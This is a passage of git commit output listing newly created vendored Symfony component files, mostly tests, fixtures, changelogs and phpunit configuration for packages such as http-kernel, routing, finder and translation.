vendor/symfony/debug/Tests/Exception/FlattenExceptionTest.php create mode 100644 vendor/symfony/debug/Tests/ExceptionHandlerTest.php create mode 100644 vendor/symfony/debug/Tests/FatalErrorHandler/ClassNotFoundFatalErrorHandlerTest.php create mode 100644 vendor/symfony/debug/Tests/FatalErrorHandler/UndefinedFunctionFatalErrorHandlerTest.php create mode 100644 vendor/symfony/debug/Tests/FatalErrorHandler/UndefinedMethodFatalErrorHandlerTest.php create mode 100644 vendor/symfony/debug/Tests/Fixtures/ClassAlias.php create mode 100644 vendor/symfony/debug/Tests/Fixtures/DeprecatedClass.php create mode 100644 vendor/symfony/debug/Tests/Fixtures/DeprecatedInterface.php create mode 100644 vendor/symfony/debug/Tests/Fixtures/PEARClass.php create mode 100644 vendor/symfony/debug/Tests/Fixtures/Throwing.php create mode 100644 vendor/symfony/debug/Tests/Fixtures/casemismatch.php create mode 100644 vendor/symfony/debug/Tests/Fixtures/notPsr0Bis.php create mode 100644 vendor/symfony/debug/Tests/Fixtures/psr4/Psr4CaseMismatch.php create mode 100644 vendor/symfony/debug/Tests/Fixtures/reallyNotPsr0.php create mode 100644 vendor/symfony/debug/Tests/Fixtures2/RequiredTwice.php create mode 100644 vendor/symfony/debug/Tests/HeaderMock.php create mode 100644 vendor/symfony/debug/Tests/MockExceptionHandler.php create mode 100644 vendor/symfony/debug/Tests/phpt/decorate_exception_hander.phpt create mode 100644 vendor/symfony/debug/Tests/phpt/exception_rethrown.phpt create mode 100644 vendor/symfony/debug/Tests/phpt/fatal_with_nested_handlers.phpt create mode 100644 vendor/symfony/debug/phpunit.xml.dist create mode 100644 vendor/symfony/dom-crawler/CHANGELOG.md create mode 100644 vendor/symfony/dom-crawler/Tests/CrawlerTest.php create mode 100644 vendor/symfony/dom-crawler/Tests/Field/ChoiceFormFieldTest.php create mode 100644 vendor/symfony/dom-crawler/Tests/Field/FileFormFieldTest.php create mode 100644 vendor/symfony/dom-crawler/Tests/Field/FormFieldTest.php create mode 100644 vendor/symfony/dom-crawler/Tests/Field/FormFieldTestCase.php create mode 100644 vendor/symfony/dom-crawler/Tests/Field/InputFormFieldTest.php create mode 100644 vendor/symfony/dom-crawler/Tests/Field/TextareaFormFieldTest.php create mode 100644 vendor/symfony/dom-crawler/Tests/Fixtures/no-extension create mode 100644 vendor/symfony/dom-crawler/Tests/Fixtures/windows-1250.html create mode 100644 vendor/symfony/dom-crawler/Tests/FormTest.php create mode 100644 vendor/symfony/dom-crawler/Tests/LinkTest.php create mode 100644 vendor/symfony/dom-crawler/phpunit.xml.dist create mode 100644 vendor/symfony/event-dispatcher/CHANGELOG.md create mode 100644 vendor/symfony/event-dispatcher/Tests/AbstractEventDispatcherTest.php create mode 100644 vendor/symfony/event-dispatcher/Tests/ContainerAwareEventDispatcherTest.php create mode 100644 vendor/symfony/event-dispatcher/Tests/Debug/TraceableEventDispatcherTest.php create mode 100644 vendor/symfony/event-dispatcher/Tests/DependencyInjection/RegisterListenersPassTest.php create mode 100644 vendor/symfony/event-dispatcher/Tests/EventDispatcherTest.php create mode 100644 vendor/symfony/event-dispatcher/Tests/EventTest.php create mode 100644 vendor/symfony/event-dispatcher/Tests/GenericEventTest.php create mode 100644 vendor/symfony/event-dispatcher/Tests/ImmutableEventDispatcherTest.php create mode 100644 vendor/symfony/event-dispatcher/phpunit.xml.dist create mode 100644 vendor/symfony/finder/CHANGELOG.md create mode 100644 vendor/symfony/finder/Tests/BsdFinderTest.php create mode 100644 vendor/symfony/finder/Tests/Comparator/ComparatorTest.php create mode 100644 vendor/symfony/finder/Tests/Comparator/DateComparatorTest.php create mode 100644 vendor/symfony/finder/Tests/Comparator/NumberComparatorTest.php create mode 100644 vendor/symfony/finder/Tests/Expression/ExpressionTest.php create mode 100644 vendor/symfony/finder/Tests/Expression/GlobTest.php create mode 100644 vendor/symfony/finder/Tests/Expression/RegexTest.php create mode 100644 vendor/symfony/finder/Tests/FakeAdapter/DummyAdapter.php create mode 100644 vendor/symfony/finder/Tests/FakeAdapter/FailingAdapter.php create mode 100644 vendor/symfony/finder/Tests/FakeAdapter/NamedAdapter.php create mode 100644 vendor/symfony/finder/Tests/FakeAdapter/UnsupportedAdapter.php create mode 100644 vendor/symfony/finder/Tests/FinderTest.php create mode 100644 vendor/symfony/finder/Tests/Fixtures/A/B/C/abc.dat create mode 100644 vendor/symfony/finder/Tests/Fixtures/A/B/ab.dat create mode 100644 vendor/symfony/finder/Tests/Fixtures/A/a.dat create mode 100644 vendor/symfony/finder/Tests/Fixtures/copy/A/B/C/abc.dat.copy create mode 100644 vendor/symfony/finder/Tests/Fixtures/copy/A/B/ab.dat.copy create mode 100644 vendor/symfony/finder/Tests/Fixtures/copy/A/a.dat.copy create mode 100644 vendor/symfony/finder/Tests/Fixtures/dolor.txt create mode 100644 vendor/symfony/finder/Tests/Fixtures/ipsum.txt create mode 100644 vendor/symfony/finder/Tests/Fixtures/lorem.txt create mode 100644 vendor/symfony/finder/Tests/Fixtures/one/a create mode 100644 vendor/symfony/finder/Tests/Fixtures/one/b/c.neon create mode 100644 vendor/symfony/finder/Tests/Fixtures/one/b/d.neon create mode 100644 vendor/symfony/finder/Tests/Fixtures/r+e.gex[c]a(r)s/dir/bar.dat create mode 100644 vendor/symfony/finder/Tests/Fixtures/with space/foo.txt create mode 100644 vendor/symfony/finder/Tests/GlobTest.php create mode 100644 vendor/symfony/finder/Tests/GnuFinderTest.php create mode 100644 vendor/symfony/finder/Tests/Iterator/CustomFilterIteratorTest.php create mode 100644 vendor/symfony/finder/Tests/Iterator/DateRangeFilterIteratorTest.php create mode 100644 vendor/symfony/finder/Tests/Iterator/DepthRangeFilterIteratorTest.php create mode 100644 vendor/symfony/finder/Tests/Iterator/ExcludeDirectoryFilterIteratorTest.php create mode 100644 vendor/symfony/finder/Tests/Iterator/FilePathsIteratorTest.php create mode 100644 vendor/symfony/finder/Tests/Iterator/FileTypeFilterIteratorTest.php create mode 100644 vendor/symfony/finder/Tests/Iterator/FilecontentFilterIteratorTest.php create mode 100644 vendor/symfony/finder/Tests/Iterator/FilenameFilterIteratorTest.php create mode 100644 vendor/symfony/finder/Tests/Iterator/FilterIteratorTest.php create mode 100644 vendor/symfony/finder/Tests/Iterator/Iterator.php create mode 100644 vendor/symfony/finder/Tests/Iterator/IteratorTestCase.php create mode 100644 vendor/symfony/finder/Tests/Iterator/MockFileListIterator.php create mode 100644 vendor/symfony/finder/Tests/Iterator/MockSplFileInfo.php create mode 100644 vendor/symfony/finder/Tests/Iterator/MultiplePcreFilterIteratorTest.php create mode 100644 vendor/symfony/finder/Tests/Iterator/PathFilterIteratorTest.php create mode 100644 vendor/symfony/finder/Tests/Iterator/RealIteratorTestCase.php create mode 100644 vendor/symfony/finder/Tests/Iterator/RecursiveDirectoryIteratorTest.php create mode 100644 vendor/symfony/finder/Tests/Iterator/SizeRangeFilterIteratorTest.php create mode 100644 vendor/symfony/finder/Tests/Iterator/SortableIteratorTest.php create mode 100644 vendor/symfony/finder/Tests/Shell/CommandTest.php create mode 100644 vendor/symfony/finder/phpunit.xml.dist create mode 100644 vendor/symfony/http-foundation/CHANGELOG.md create mode 100644 vendor/symfony/http-foundation/Tests/AcceptHeaderItemTest.php create mode 100644 vendor/symfony/http-foundation/Tests/AcceptHeaderTest.php create mode 100644 vendor/symfony/http-foundation/Tests/ApacheRequestTest.php create mode 100644 vendor/symfony/http-foundation/Tests/BinaryFileResponseTest.php create mode 100644 vendor/symfony/http-foundation/Tests/CookieTest.php create mode 100644 vendor/symfony/http-foundation/Tests/ExpressionRequestMatcherTest.php create mode 100644 vendor/symfony/http-foundation/Tests/File/FakeFile.php create mode 100644 vendor/symfony/http-foundation/Tests/File/FileTest.php create mode 100644 vendor/symfony/http-foundation/Tests/File/Fixtures/.unknownextension create mode 100644 vendor/symfony/http-foundation/Tests/File/Fixtures/directory/.empty create mode 100644 vendor/symfony/http-foundation/Tests/File/Fixtures/other-file.example create mode 100644 vendor/symfony/http-foundation/Tests/File/Fixtures/test create mode 100644 vendor/symfony/http-foundation/Tests/File/Fixtures/test.gif create mode 100644 vendor/symfony/http-foundation/Tests/File/MimeType/MimeTypeTest.php create mode 100644 vendor/symfony/http-foundation/Tests/File/UploadedFileTest.php create mode 100644 vendor/symfony/http-foundation/Tests/FileBagTest.php create mode 100644 vendor/symfony/http-foundation/Tests/HeaderBagTest.php create mode 100644 vendor/symfony/http-foundation/Tests/IpUtilsTest.php create mode 100644 vendor/symfony/http-foundation/Tests/JsonResponseTest.php create mode 100644 vendor/symfony/http-foundation/Tests/ParameterBagTest.php create mode 100644 vendor/symfony/http-foundation/Tests/RedirectResponseTest.php create mode 100644 vendor/symfony/http-foundation/Tests/RequestMatcherTest.php create mode 100644 vendor/symfony/http-foundation/Tests/RequestStackTest.php create mode 100644 vendor/symfony/http-foundation/Tests/RequestTest.php create mode 100644 vendor/symfony/http-foundation/Tests/ResponseHeaderBagTest.php create mode 100644 vendor/symfony/http-foundation/Tests/ResponseTest.php create mode 100644 vendor/symfony/http-foundation/Tests/ResponseTestCase.php create mode 100644 vendor/symfony/http-foundation/Tests/ServerBagTest.php create mode 100644 vendor/symfony/http-foundation/Tests/Session/Attribute/AttributeBagTest.php create mode 100644 vendor/symfony/http-foundation/Tests/Session/Attribute/NamespacedAttributeBagTest.php create mode 100644 vendor/symfony/http-foundation/Tests/Session/Flash/AutoExpireFlashBagTest.php create mode 100644 vendor/symfony/http-foundation/Tests/Session/Flash/FlashBagTest.php create mode 100644 vendor/symfony/http-foundation/Tests/Session/SessionTest.php create mode 100644 vendor/symfony/http-foundation/Tests/Session/Storage/Handler/LegacyPdoSessionHandlerTest.php create mode 100644 vendor/symfony/http-foundation/Tests/Session/Storage/Handler/MemcacheSessionHandlerTest.php create mode 100644 vendor/symfony/http-foundation/Tests/Session/Storage/Handler/MemcachedSessionHandlerTest.php create mode 100644 vendor/symfony/http-foundation/Tests/Session/Storage/Handler/MongoDbSessionHandlerTest.php create mode 100644 vendor/symfony/http-foundation/Tests/Session/Storage/Handler/NativeFileSessionHandlerTest.php create mode 100644 vendor/symfony/http-foundation/Tests/Session/Storage/Handler/NativeSessionHandlerTest.php create mode 100644 vendor/symfony/http-foundation/Tests/Session/Storage/Handler/NullSessionHandlerTest.php create mode 100644 vendor/symfony/http-foundation/Tests/Session/Storage/Handler/PdoSessionHandlerTest.php create mode 100644 vendor/symfony/http-foundation/Tests/Session/Storage/Handler/WriteCheckSessionHandlerTest.php create mode 100644 vendor/symfony/http-foundation/Tests/Session/Storage/MetadataBagTest.php create mode 100644 vendor/symfony/http-foundation/Tests/Session/Storage/MockArraySessionStorageTest.php create mode 100644 vendor/symfony/http-foundation/Tests/Session/Storage/MockFileSessionStorageTest.php create mode 100644 vendor/symfony/http-foundation/Tests/Session/Storage/NativeSessionStorageTest.php create mode 100644 vendor/symfony/http-foundation/Tests/Session/Storage/PhpBridgeSessionStorageTest.php create mode 100644 vendor/symfony/http-foundation/Tests/Session/Storage/Proxy/AbstractProxyTest.php create mode 100644 vendor/symfony/http-foundation/Tests/Session/Storage/Proxy/NativeProxyTest.php create mode 100644 vendor/symfony/http-foundation/Tests/Session/Storage/Proxy/SessionHandlerProxyTest.php create mode 100644 vendor/symfony/http-foundation/Tests/StreamedResponseTest.php create mode 100644 vendor/symfony/http-foundation/Tests/schema/http-status-codes.rng create mode 100644 vendor/symfony/http-foundation/Tests/schema/iana-registry.rng create mode 100644 vendor/symfony/http-foundation/phpunit.xml.dist create mode 100644 vendor/symfony/http-kernel/CHANGELOG.md create mode 100644 vendor/symfony/http-kernel/Tests/Bundle/BundleTest.php create mode 100644 vendor/symfony/http-kernel/Tests/CacheClearer/ChainCacheClearerTest.php create mode 100644 vendor/symfony/http-kernel/Tests/CacheWarmer/CacheWarmerAggregateTest.php create mode 100644 vendor/symfony/http-kernel/Tests/CacheWarmer/CacheWarmerTest.php create mode 100644 vendor/symfony/http-kernel/Tests/ClientTest.php create mode 100644 vendor/symfony/http-kernel/Tests/Config/EnvParametersResourceTest.php create mode 100644 vendor/symfony/http-kernel/Tests/Config/FileLocatorTest.php create mode 100644 vendor/symfony/http-kernel/Tests/Controller/ControllerResolverTest.php create mode 100644 vendor/symfony/http-kernel/Tests/DataCollector/ConfigDataCollectorTest.php create mode 100644 vendor/symfony/http-kernel/Tests/DataCollector/DumpDataCollectorTest.php create mode 100644 vendor/symfony/http-kernel/Tests/DataCollector/ExceptionDataCollectorTest.php create mode 100644 vendor/symfony/http-kernel/Tests/DataCollector/LoggerDataCollectorTest.php create mode 100644 vendor/symfony/http-kernel/Tests/DataCollector/MemoryDataCollectorTest.php create mode 100644 vendor/symfony/http-kernel/Tests/DataCollector/RequestDataCollectorTest.php create mode 100644 vendor/symfony/http-kernel/Tests/DataCollector/TimeDataCollectorTest.php create mode 100644 vendor/symfony/http-kernel/Tests/DataCollector/Util/ValueExporterTest.php create mode 100644 vendor/symfony/http-kernel/Tests/Debug/TraceableEventDispatcherTest.php create mode 100644 vendor/symfony/http-kernel/Tests/DependencyInjection/ContainerAwareHttpKernelTest.php create mode 100644 vendor/symfony/http-kernel/Tests/DependencyInjection/FragmentRendererPassTest.php create mode 100644 vendor/symfony/http-kernel/Tests/DependencyInjection/LazyLoadingFragmentHandlerTest.php create mode 100644 vendor/symfony/http-kernel/Tests/DependencyInjection/MergeExtensionConfigurationPassTest.php create mode 100644 vendor/symfony/http-kernel/Tests/EventListener/AddRequestFormatsListenerTest.php create mode 100644 vendor/symfony/http-kernel/Tests/EventListener/DebugHandlersListenerTest.php create mode 100644 vendor/symfony/http-kernel/Tests/EventListener/DumpListenerTest.php create mode 100644 vendor/symfony/http-kernel/Tests/EventListener/ExceptionListenerTest.php create mode 100644 vendor/symfony/http-kernel/Tests/EventListener/FragmentListenerTest.php create mode 100644 vendor/symfony/http-kernel/Tests/EventListener/LocaleListenerTest.php create mode 100644 vendor/symfony/http-kernel/Tests/EventListener/ProfilerListenerTest.php create mode 100644 vendor/symfony/http-kernel/Tests/EventListener/ResponseListenerTest.php create mode 100644 vendor/symfony/http-kernel/Tests/EventListener/RouterListenerTest.php create mode 100644 vendor/symfony/http-kernel/Tests/EventListener/SurrogateListenerTest.php create mode 100644 vendor/symfony/http-kernel/Tests/EventListener/TestSessionListenerTest.php create mode 100644 vendor/symfony/http-kernel/Tests/EventListener/TranslatorListenerTest.php create mode 100644 vendor/symfony/http-kernel/Tests/EventListener/ValidateRequestListenerTest.php create mode 100644 vendor/symfony/http-kernel/Tests/Fixtures/123/Kernel123.php create mode 100644 vendor/symfony/http-kernel/Tests/Fixtures/BaseBundle/Resources/foo.txt create mode 100644 vendor/symfony/http-kernel/Tests/Fixtures/BaseBundle/Resources/hide.txt create mode 100644 vendor/symfony/http-kernel/Tests/Fixtures/Bundle1Bundle/Resources/foo.txt create mode 100644 vendor/symfony/http-kernel/Tests/Fixtures/Bundle1Bundle/bar.txt create mode 100644 vendor/symfony/http-kernel/Tests/Fixtures/Bundle1Bundle/foo.txt create mode 100644 vendor/symfony/http-kernel/Tests/Fixtures/Bundle2Bundle/foo.txt create mode 100644 vendor/symfony/http-kernel/Tests/Fixtures/ChildBundle/Resources/foo.txt create mode 100644 vendor/symfony/http-kernel/Tests/Fixtures/ChildBundle/Resources/hide.txt create mode 100644 vendor/symfony/http-kernel/Tests/Fixtures/Controller/NullableController.php create mode 100644 vendor/symfony/http-kernel/Tests/Fixtures/Controller/VariadicController.php create mode 100644 vendor/symfony/http-kernel/Tests/Fixtures/ExtensionAbsentBundle/ExtensionAbsentBundle.php create mode 100644 vendor/symfony/http-kernel/Tests/Fixtures/ExtensionLoadedBundle/DependencyInjection/ExtensionLoadedExtension.php create mode 100644 vendor/symfony/http-kernel/Tests/Fixtures/ExtensionLoadedBundle/ExtensionLoadedBundle.php create mode 100644 vendor/symfony/http-kernel/Tests/Fixtures/ExtensionNotValidBundle/DependencyInjection/ExtensionNotValidExtension.php create mode 100644 vendor/symfony/http-kernel/Tests/Fixtures/ExtensionNotValidBundle/ExtensionNotValidBundle.php create mode 100644 vendor/symfony/http-kernel/Tests/Fixtures/ExtensionPresentBundle/Command/BarCommand.php create mode 100644 vendor/symfony/http-kernel/Tests/Fixtures/ExtensionPresentBundle/Command/FooCommand.php create mode 100644 vendor/symfony/http-kernel/Tests/Fixtures/ExtensionPresentBundle/DependencyInjection/ExtensionPresentExtension.php create mode 100644 vendor/symfony/http-kernel/Tests/Fixtures/ExtensionPresentBundle/ExtensionPresentBundle.php create mode 100644 vendor/symfony/http-kernel/Tests/Fixtures/FooBarBundle.php create mode 100644 vendor/symfony/http-kernel/Tests/Fixtures/KernelForOverrideName.php create mode 100644 vendor/symfony/http-kernel/Tests/Fixtures/KernelForTest.php create mode 100644 vendor/symfony/http-kernel/Tests/Fixtures/Resources/BaseBundle/hide.txt create mode 100644 vendor/symfony/http-kernel/Tests/Fixtures/Resources/Bundle1Bundle/foo.txt create mode 100644 vendor/symfony/http-kernel/Tests/Fixtures/Resources/ChildBundle/foo.txt create mode 100644 vendor/symfony/http-kernel/Tests/Fixtures/Resources/FooBundle/foo.txt create mode 100644 vendor/symfony/http-kernel/Tests/Fixtures/TestClient.php create mode 100644 vendor/symfony/http-kernel/Tests/Fixtures/TestEventDispatcher.php create mode 100644 vendor/symfony/http-kernel/Tests/Fragment/EsiFragmentRendererTest.php create mode 100644 vendor/symfony/http-kernel/Tests/Fragment/FragmentHandlerTest.php create mode 100644 vendor/symfony/http-kernel/Tests/Fragment/HIncludeFragmentRendererTest.php create mode 100644 vendor/symfony/http-kernel/Tests/Fragment/InlineFragmentRendererTest.php create mode 100644 vendor/symfony/http-kernel/Tests/Fragment/RoutableFragmentRendererTest.php create mode 100644 vendor/symfony/http-kernel/Tests/Fragment/SsiFragmentRendererTest.php create mode 100644 vendor/symfony/http-kernel/Tests/HttpCache/EsiTest.php create mode 100644 vendor/symfony/http-kernel/Tests/HttpCache/HttpCacheTest.php create mode 100644 vendor/symfony/http-kernel/Tests/HttpCache/HttpCacheTestCase.php create mode 100644 vendor/symfony/http-kernel/Tests/HttpCache/ResponseCacheStrategyTest.php create mode 100644 vendor/symfony/http-kernel/Tests/HttpCache/SsiTest.php create mode 100644 vendor/symfony/http-kernel/Tests/HttpCache/StoreTest.php create mode 100644 vendor/symfony/http-kernel/Tests/HttpCache/SubRequestHandlerTest.php create mode 100644 vendor/symfony/http-kernel/Tests/HttpCache/TestHttpKernel.php create mode 100644 vendor/symfony/http-kernel/Tests/HttpCache/TestMultipleHttpKernel.php create mode 100644 vendor/symfony/http-kernel/Tests/HttpKernelTest.php create mode 100644 vendor/symfony/http-kernel/Tests/KernelTest.php create mode 100644 vendor/symfony/http-kernel/Tests/Logger.php create mode 100644 vendor/symfony/http-kernel/Tests/Profiler/AbstractProfilerStorageTest.php create mode 100644 vendor/symfony/http-kernel/Tests/Profiler/FileProfilerStorageTest.php create mode 100644 vendor/symfony/http-kernel/Tests/Profiler/MemcacheProfilerStorageTest.php create mode 100644 vendor/symfony/http-kernel/Tests/Profiler/MemcachedProfilerStorageTest.php create mode 100644 vendor/symfony/http-kernel/Tests/Profiler/Mock/MemcacheMock.php create mode 100644 vendor/symfony/http-kernel/Tests/Profiler/Mock/MemcachedMock.php create mode 100644 vendor/symfony/http-kernel/Tests/Profiler/Mock/RedisMock.php create mode 100644 vendor/symfony/http-kernel/Tests/Profiler/MongoDbProfilerStorageTest.php create mode 100644 vendor/symfony/http-kernel/Tests/Profiler/ProfilerTest.php create mode 100644 vendor/symfony/http-kernel/Tests/Profiler/RedisProfilerStorageTest.php create mode 100644 vendor/symfony/http-kernel/Tests/Profiler/SqliteProfilerStorageTest.php create mode 100644 vendor/symfony/http-kernel/Tests/TestHttpKernel.php create mode 100644 vendor/symfony/http-kernel/Tests/UriSignerTest.php create mode 100644 vendor/symfony/http-kernel/phpunit.xml.dist create mode 100644 vendor/symfony/process/CHANGELOG.md create mode 100644 vendor/symfony/process/Tests/ExecutableFinderTest.php create mode 100644 vendor/symfony/process/Tests/NonStopableProcess.php create mode 100644 vendor/symfony/process/Tests/PhpExecutableFinderTest.php create mode 100644 vendor/symfony/process/Tests/PhpProcessTest.php create mode 100644 vendor/symfony/process/Tests/PipeStdinInStdoutStdErrStreamSelect.php create mode 100644 vendor/symfony/process/Tests/ProcessBuilderTest.php create mode 100644 vendor/symfony/process/Tests/ProcessFailedExceptionTest.php create mode 100644 vendor/symfony/process/Tests/ProcessTest.php create mode 100644 vendor/symfony/process/Tests/ProcessUtilsTest.php create mode 100644 vendor/symfony/process/Tests/SignalListener.php create mode 100644 vendor/symfony/process/phpunit.xml.dist create mode 100644 vendor/symfony/routing/CHANGELOG.md create mode 100644 vendor/symfony/routing/Tests/Annotation/RouteTest.php create mode 100644 vendor/symfony/routing/Tests/CompiledRouteTest.php create mode 100644 vendor/symfony/routing/Tests/Fixtures/AnnotatedClasses/AbstractClass.php create mode 100644 vendor/symfony/routing/Tests/Fixtures/AnnotatedClasses/BarClass.php create mode 100644 vendor/symfony/routing/Tests/Fixtures/AnnotatedClasses/FooClass.php create mode 100644 vendor/symfony/routing/Tests/Fixtures/AnnotatedClasses/FooTrait.php create mode 100644 vendor/symfony/routing/Tests/Fixtures/CustomXmlFileLoader.php create mode 100644 vendor/symfony/routing/Tests/Fixtures/OtherAnnotatedClasses/AnonymousClassInTrait.php create mode 100644 vendor/symfony/routing/Tests/Fixtures/OtherAnnotatedClasses/VariadicClass.php create mode 100644 vendor/symfony/routing/Tests/Fixtures/RedirectableUrlMatcher.php create mode 100644 vendor/symfony/routing/Tests/Fixtures/annotated.php create mode 100644 vendor/symfony/routing/Tests/Fixtures/bad_format.yml create mode 100644 vendor/symfony/routing/Tests/Fixtures/bar.xml create mode 100644 vendor/symfony/routing/Tests/Fixtures/dumper/url_matcher1.apache create mode 100644 vendor/symfony/routing/Tests/Fixtures/dumper/url_matcher1.php create mode 100644 vendor/symfony/routing/Tests/Fixtures/dumper/url_matcher2.apache create mode 100644 vendor/symfony/routing/Tests/Fixtures/dumper/url_matcher2.php create mode 100644 vendor/symfony/routing/Tests/Fixtures/dumper/url_matcher3.php create mode 100644 vendor/symfony/routing/Tests/Fixtures/empty.yml create mode 100644 vendor/symfony/routing/Tests/Fixtures/foo.xml create mode 100644 vendor/symfony/routing/Tests/Fixtures/foo1.xml create mode 100644 vendor/symfony/routing/Tests/Fixtures/incomplete.yml create mode 100644 vendor/symfony/routing/Tests/Fixtures/legacy_validpattern.xml create mode 100644 vendor/symfony/routing/Tests/Fixtures/legacy_validpattern.yml create mode 100644 vendor/symfony/routing/Tests/Fixtures/missing_id.xml create mode 100644 vendor/symfony/routing/Tests/Fixtures/missing_path.xml create mode 100644 vendor/symfony/routing/Tests/Fixtures/namespaceprefix.xml create mode 100644 vendor/symfony/routing/Tests/Fixtures/nonesense_resource_plus_path.yml create mode 100644 vendor/symfony/routing/Tests/Fixtures/nonesense_type_without_resource.yml create mode 100644 vendor/symfony/routing/Tests/Fixtures/nonvalid.xml create mode 100644 vendor/symfony/routing/Tests/Fixtures/nonvalid.yml create mode 100644 vendor/symfony/routing/Tests/Fixtures/nonvalid2.yml create mode 100644 vendor/symfony/routing/Tests/Fixtures/nonvalidkeys.yml create mode 100644 vendor/symfony/routing/Tests/Fixtures/nonvalidnode.xml create mode 100644 vendor/symfony/routing/Tests/Fixtures/nonvalidroute.xml create mode 100644 vendor/symfony/routing/Tests/Fixtures/null_values.xml create mode 100644 vendor/symfony/routing/Tests/Fixtures/special_route_name.yml create mode 100644 vendor/symfony/routing/Tests/Fixtures/validpattern.php create mode 100644 vendor/symfony/routing/Tests/Fixtures/validpattern.xml create mode 100644 vendor/symfony/routing/Tests/Fixtures/validpattern.yml create mode 100644 vendor/symfony/routing/Tests/Fixtures/validresource.php create mode 100644 vendor/symfony/routing/Tests/Fixtures/validresource.xml create mode 100644 vendor/symfony/routing/Tests/Fixtures/validresource.yml create mode 100644 vendor/symfony/routing/Tests/Fixtures/with_define_path_variable.php create mode 100644 vendor/symfony/routing/Tests/Fixtures/withdoctype.xml create mode 100644 vendor/symfony/routing/Tests/Generator/Dumper/PhpGeneratorDumperTest.php create mode 100644 vendor/symfony/routing/Tests/Generator/UrlGeneratorTest.php create mode 100644 vendor/symfony/routing/Tests/Loader/AbstractAnnotationLoaderTest.php create mode 100644 vendor/symfony/routing/Tests/Loader/AnnotationClassLoaderTest.php create mode 100644 vendor/symfony/routing/Tests/Loader/AnnotationDirectoryLoaderTest.php create mode 100644 vendor/symfony/routing/Tests/Loader/AnnotationFileLoaderTest.php create mode 100644 vendor/symfony/routing/Tests/Loader/ClosureLoaderTest.php create mode 100644 vendor/symfony/routing/Tests/Loader/PhpFileLoaderTest.php create mode 100644 vendor/symfony/routing/Tests/Loader/XmlFileLoaderTest.php create mode 100644 vendor/symfony/routing/Tests/Loader/YamlFileLoaderTest.php create mode 100644 vendor/symfony/routing/Tests/Matcher/DumpedRedirectableUrlMatcherTest.php create mode 100644 vendor/symfony/routing/Tests/Matcher/DumpedUrlMatcherTest.php create mode 100644 vendor/symfony/routing/Tests/Matcher/Dumper/DumperCollectionTest.php create mode 100644 vendor/symfony/routing/Tests/Matcher/Dumper/DumperPrefixCollectionTest.php create mode 100644 vendor/symfony/routing/Tests/Matcher/Dumper/LegacyApacheMatcherDumperTest.php create mode 100644 vendor/symfony/routing/Tests/Matcher/Dumper/PhpMatcherDumperTest.php create mode 100644 vendor/symfony/routing/Tests/Matcher/LegacyApacheUrlMatcherTest.php create mode 100644 vendor/symfony/routing/Tests/Matcher/RedirectableUrlMatcherTest.php create mode 100644 vendor/symfony/routing/Tests/Matcher/TraceableUrlMatcherTest.php create mode 100644 vendor/symfony/routing/Tests/Matcher/UrlMatcherTest.php create mode 100644 vendor/symfony/routing/Tests/RequestContextTest.php create mode 100644 vendor/symfony/routing/Tests/RouteCollectionTest.php create mode 100644 vendor/symfony/routing/Tests/RouteCompilerTest.php create mode 100644 vendor/symfony/routing/Tests/RouteTest.php create mode 100644 vendor/symfony/routing/Tests/RouterTest.php create mode 100644 vendor/symfony/routing/phpunit.xml.dist create mode 100644 vendor/symfony/translation/CHANGELOG.md create mode 100644 vendor/symfony/translation/Tests/Catalogue/AbstractOperationTest.php create mode 100644 vendor/symfony/translation/Tests/Catalogue/DiffOperationTest.php create mode 100644 vendor/symfony/translation/Tests/Catalogue/MergeOperationTest.php create mode 100644 vendor/symfony/translation/Tests/DataCollector/TranslationDataCollectorTest.php create mode 100644 vendor/symfony/translation/Tests/DataCollectorTranslatorTest.php create mode 100644 vendor/symfony/translation/Tests/Dumper/CsvFileDumperTest.php create mode 100644 vendor/symfony/translation/Tests/Dumper/FileDumperTest.php create mode 100644 vendor/symfony/translation/Tests/Dumper/IcuResFileDumperTest.php create mode 100644 vendor/symfony/translation/Tests/Dumper/IniFileDumperTest.php create mode 100644 vendor/symfony/translation/Tests/Dumper/JsonFileDumperTest.php create mode 100644 vendor/symfony/translation/Tests/Dumper/MoFileDumperTest.php create mode 100644 vendor/symfony/translation/Tests/Dumper/PhpFileDumperTest.php create mode 100644 vendor/symfony/translation/Tests/Dumper/PoFileDumperTest.php create mode 100644 vendor/symfony/translation/Tests/Dumper/QtFileDumperTest.php create mode 100644 vendor/symfony/translation/Tests/Dumper/XliffFileDumperTest.php create mode 100644 vendor/symfony/translation/Tests/Dumper/YamlFileDumperTest.php create mode 100644 vendor/symfony/translation/Tests/IdentityTranslatorTest.php create mode 100644 vendor/symfony/translation/Tests/IntervalTest.php create mode 100644 vendor/symfony/translation/Tests/Loader/CsvFileLoaderTest.php create mode 100644 vendor/symfony/translation/Tests/Loader/IcuDatFileLoaderTest.php create mode 100644 vendor/symfony/translation/Tests/Loader/IcuResFileLoaderTest.php create mode 100644 vendor/symfony/translation/Tests/Loader/IniFileLoaderTest.php create mode 100644 vendor/symfony/translation/Tests/Loader/JsonFileLoaderTest.php create mode 100644 vendor/symfony/translation/Tests/Loader/LocalizedTestCase.php create mode 100644 vendor/symfony/translation/Tests/Loader/MoFileLoaderTest.php create mode 100644 vendor/symfony/translation/Tests/Loader/PhpFileLoaderTest.php create mode 100644 vendor/symfony/translation/Tests/Loader/PoFileLoaderTest.php create mode 100644 vendor/symfony/translation/Tests/Loader/QtFileLoaderTest.php create mode 100644 vendor/symfony/translation/Tests/Loader/XliffFileLoaderTest.php create mode 100644 vendor/symfony/translation/Tests/Loader/YamlFileLoaderTest.php create mode 100644 vendor/symfony/translation/Tests/LoggingTranslatorTest.php create mode 100644 vendor/symfony/translation/Tests/MessageCatalogueTest.php create mode 100644 vendor/symfony/translation/Tests/MessageSelectorTest.php create mode 100644 vendor/symfony/translation/Tests/PluralizationRulesTest.php create mode 100644 vendor/symfony/translation/Tests/TranslatorCacheTest.php create mode 100644 vendor/symfony/translation/Tests/TranslatorTest.php create mode 100644 vendor/symfony/translation/Tests/Writer/TranslationWriterTest.php create mode 100644 vendor/symfony/translation/Tests/fixtures/empty-translation.mo create mode 100644 vendor/symfony/translation/Tests/fixtures/empty-translation.po create mode 100644 vendor/symfony/translation/Tests/fixtures/empty.csv create mode 100644 vendor/symfony/translation/Tests/fixtures/empty.ini create mode 100644 vendor/symfony/translation/Tests/fixtures/empty.json create mode 100644 vendor/symfony/translation/Tests/fixtures/empty.mo create mode 100644 vendor/symfony/translation/Tests/fixtures/empty.po create mode 100644 vendor/symfony/translation/Tests/fixtures/empty.xlf create mode 100644 vendor/symfony/translation/Tests/fixtures/empty.yml create mode 100644 vendor/symfony/translation/Tests/fixtures/encoding.xlf create mode 100644 vendor/symfony/translation/Tests/fixtures/escaped-id-plurals.po create mode 100644 